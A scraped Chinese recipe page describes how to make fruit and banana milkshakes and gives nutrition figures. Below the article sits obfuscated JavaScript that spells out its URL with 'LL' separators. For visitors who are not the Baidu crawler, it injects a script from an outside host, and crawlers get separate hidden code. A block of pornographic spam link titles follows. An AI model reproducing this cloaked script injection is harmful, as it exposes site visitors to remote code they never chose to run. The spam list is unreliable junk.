當前位置:首頁 > 飲食 > 食物營養 > 正文

奶昔營養餐的做法步驟

2017-07-07 09:55:43  來源:360常識網   熱度:
導語:奶昔是很多年輕人愛喝的一直飲品,無論是當作早飯,還是下午茶,都是非常不錯的選擇,可外面買的奶昔比較貴,那么接下來是為大家介紹幾種自

奶昔是很多年輕人愛喝的一直飲品,無論是當作早飯,還是下午茶,都是非常不錯的選擇,可外面買的奶昔比較貴,那么接下來是為大家介紹幾種自己制作吃香濃好喝的奶昔飲品,大家快來看看吧。

制作方法

把鮮奶、冰淇淋、冰塊放進攪拌機里攪拌均勻,就是簡單的奶昔了。另一種以牛奶作為基礎材料的飲品, 品味同樣香甜可口,有益皮膚,提神, 富含維生素c。原料:制作約400毫升,小芒果1個 、奇異果2個 、低脂牛奶200毫升 、新鮮檸檬汁2匙制作:芒果去皮,切片后放如攪拌器內。奇異果削片后,保留一小片,將剩余部分加芒果中,加奶及檸檬汁攪拌,攪拌后倒入果杯內,將奇異果片放在奶昔表面即可。營養成分:343.4卡路里、蛋白質11.60克、碳水化合物72.44克、脂肪3.867克、食用纖維9.012克、維a860.2克毫克、葉酸22.99微克、維c221.7毫克、碳酸鉀1263毫克、鈣373.7毫克。當然,制作奶昔也可以使用酸奶,酸奶的營養價值更高,而做好的奶昔也會別有風味。

香蕉奶昔的制作方法

取香蕉一只,酸奶一杯,冰塊少許。將香蕉去皮,切成4塊,與酸奶、冰淇淋粉,少許冰塊,一起放入攪拌機內,啟動電源,攪拌一分鐘,停機即可。如果喜歡口味更甜些,可適量添加一些砂糖,OK, 一杯香濃爽口的香蕉奶昔就做出來了。

大家看關于以上制作的奶昔營養餐做法是不是很簡單,奶昔不單單是飲品,自己只要稍加搭配,就可以做成奶昔營養餐,對于早上喝,還是下午茶來喝,都是非常不錯的選擇。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲欧洲国产精品久久| 精品国产免费观看| 9i9精品国产免费久久| 亚洲精品无播放器在线播放| 国内精品久久久久伊人av| 精品久久久久不卡无毒| 91精品久久久久| 亚洲精品少妇30p| 精品在线观看免费| 中文字幕乱码亚洲精品一区 | 久久噜噜久久久精品66| 精品国产柚木在线观看| 亚洲精品国产电影午夜| 国产精品成熟老女人视频| 亚洲国产精品综合久久一线| 亚洲精品成a人在线观看☆| 99久久免费中文字幕精品| 国内少妇人妻偷人精品xxx| 精品美女在线观看| 99久久99久久久精品齐齐| 亚洲AV成人无码久久精品老人| 国产精品久久久天天影视香蕉 | 中文无码久久精品| 国产69久久精品成人看| 亚洲中文字幕久久精品无码VA| 2021年国产精品久久| 久9这里精品免费视频| 国产精品亚韩精品无码a在线 | 国产成人精品大尺度在线观看| 国产欧美精品123区发布| 国产成人愉拍精品| 99久久免费看国产精品| 久久久无码精品亚洲日韩蜜桃| 最新国产乱人伦偷精品免费网站| 国产精品香蕉在线观看| 亚洲国产精品一区二区第一页免 | 青青热久久国产久精品| 国产精品亚洲专区在线播放 | 日韩精品无码专区免费播放| 国产成人精品日本亚洲网站 | 日本精品一二三区|